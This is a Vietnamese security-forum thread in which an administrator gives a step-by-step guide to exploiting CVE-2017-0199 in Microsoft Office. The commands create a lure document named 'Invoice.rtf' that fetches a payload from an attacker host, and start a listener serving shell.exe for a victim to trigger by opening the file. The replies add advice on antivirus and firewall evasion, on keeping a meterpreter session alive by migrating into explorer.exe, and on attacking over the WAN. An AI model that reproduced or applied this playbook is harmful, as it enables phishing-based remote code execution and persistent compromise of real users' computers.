Khai thác lỗ hổng HTA (CVE-2017-0199) trong Microsoft Office

Thảo luận trong 'Audit/Pentest Security' bắt đầu bởi DDos, 25/04/17, 04:04 PM.

  1. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,603
    Đã được thích: 324
    Điểm thành tích:
    83
    Trong những ngày trung tuần tháng 4, một trong ba lỗ hổng ảnh hướng tới gần như tất cả các phiên bản của microsoft office word đã được công bố. Lỗi hổng này đã được gán tới cơ sở dữ liệu lỗ hổng là CVE-2017-0199. Lỗ hổng này cho phép kẻ xấu thực hiện bất kỳ một remote code nào thông qua một file văn bản độc hại. Các phiên bản bị ảnh hương bao gồm "Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1".

    Bài viết này mình sẽ hướng dẫn các bạn cách khai thác lỗ hổng này.
    1. Tải công cụ khai thác tại đây.
    2. Tạo ra một file văn bản với lệnh
      python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
    3. Bật sever listener khai thác với lệnh
      python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
    • Gửi file văn bản đã được tạo ra ở bước 2. Nếu nạn nhân mở file này, khai thác sẽ được thực thi
    DEMO
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. opter

    opter W-------

    Tham gia: 30/11/14, 03:11 PM
    Bài viết: 42
    Đã được thích: 5
    Điểm thành tích:
    18
    Chào anh
    Em đọc nhiều bài của anh rất chi là hay, có cả video nữa, hì.
    Anh ơi, nếu máy nạn nhân có cài Zone ALARM (một ứng dụng tường lửa), khi mở file rtf, nếu mã độc từ máy nạn nhân kết nối đến Máy hacker (x.x.x.x) thì ZoneAlarm sẽ cảnh báo nạn nhân là có kết nối tới IP x.x.x.x, khi đó người dùng sẽ block lại, lúc đó làm sao mà khai thác được nhỉ???
    Anh có thể thử cài ZoneAlarm (hoặc Kaspersky Firewall) lên máy nạn nhân và test thử, sau đó quay video up lên cho em xem được không?
    Em hâm mộ anh lắm đó!
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    QUANG28 thích bài này.
  3. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,603
    Đã được thích: 324
    Điểm thành tích:
    83
    Hiện nay, tác giả của công cụ đã cập nhật công cụ này lên version 3. Sử dụng một vài kỹ thuật để vượt qua cơ chế kiểm soát của các phần mềm diệt virus, firewall. Bạn tải tại đây nhé.

    [​IMG]
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    opter thích bài này.
  4. blackarch

    blackarch Member

    Tham gia: 28/04/17, 07:04 PM
    Bài viết: 22
    Đã được thích: 16
    Điểm thành tích:
    3
    nếu victim thoát hẳn file word thì có khai thác được không bạn?
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  5. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,603
    Đã được thích: 324
    Điểm thành tích:
    83
    Khi victim chạy file word và bạn đã có một meterpreter session, để tránh tình trạng khi nạn nhân thoát tiến trình microsoft word, bạn dùng lệnh "migrate" trong metasploit nhé. Mục đích của migrate là inject dll vào một tiến trình khác đang hoạt động như explorer.exe (tiến trình này luôn hoạt động cùng hệ thống) giúp cho meterpreter không bị mất khi victim thoát khỏi phần mềm đang bị khai thác.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    blackarch thích bài này.
  6. hoangthai308

    hoangthai308 W-------

    Tham gia: 17/01/14, 10:01 PM
    Bài viết: 6
    Đã được thích: 3
    Điểm thành tích:
    3
    Bác DDos ơi sao bản của em ko dùng được lệnh "migrate", bác hướng dẫn em với, thanks
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  7. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,603
    Đã được thích: 324
    Điểm thành tích:
    83
    lỗi như thế nào bạn mô tả dùm...
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  8. linhhoncuagio

    linhhoncuagio W-------

    Tham gia: 05/01/15, 03:01 PM
    Bài viết: 13
    Đã được thích: 2
    Điểm thành tích:
    8
    cái này chỉ tấn công máy trong cùng mạng lan hả bạn
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  9. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,603
    Đã được thích: 324
    Điểm thành tích:
    83
    lỗi này ngoài mạng LAN vẫn bị khai thác bạn nhé!
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  10. Chuyentinhma

    Chuyentinhma New Member

    Tham gia: 27/07/17, 10:07 AM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    Mình làm theo video nhưng đến bước cuối không nhận được:Received request for payload from 192.168.0.16. Nên không mở shell được. Chỉ nhận được: Received GET method from 192.168.0.16. ai biết lỗi ở đâu, làm ơn chỉ với ak
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  11. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,603
    Đã được thích: 324
    Điểm thành tích:
    83
    Có thể bản office của bạn đã được vá...
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  12. Chuyentinhma

    Chuyentinhma New Member

    Tham gia: 27/07/17, 10:07 AM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    Mình đang thử trên bản word 2010 bản professional.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  13. NTK

    NTK New Member

    Tham gia: 07/08/17, 12:08 PM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    cái trang nó dùng để viết lệnh là cmd hả anh
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  14. NTK

    NTK New Member

    Tham gia: 07/08/17, 12:08 PM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    1. Tạo ra một file văn bản với lệnh
      python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
    2. văn bản ở đâu anh office word ạ
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  15. saigonsnipper

    saigonsnipper Member

    Tham gia: 30/07/17, 09:07 AM
    Bài viết: 14
    Đã được thích: 11
    Điểm thành tích:
    3
    port khai thác mặc định là 80 , có thể đổi thành port khác để nat và khai thác qua wan
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan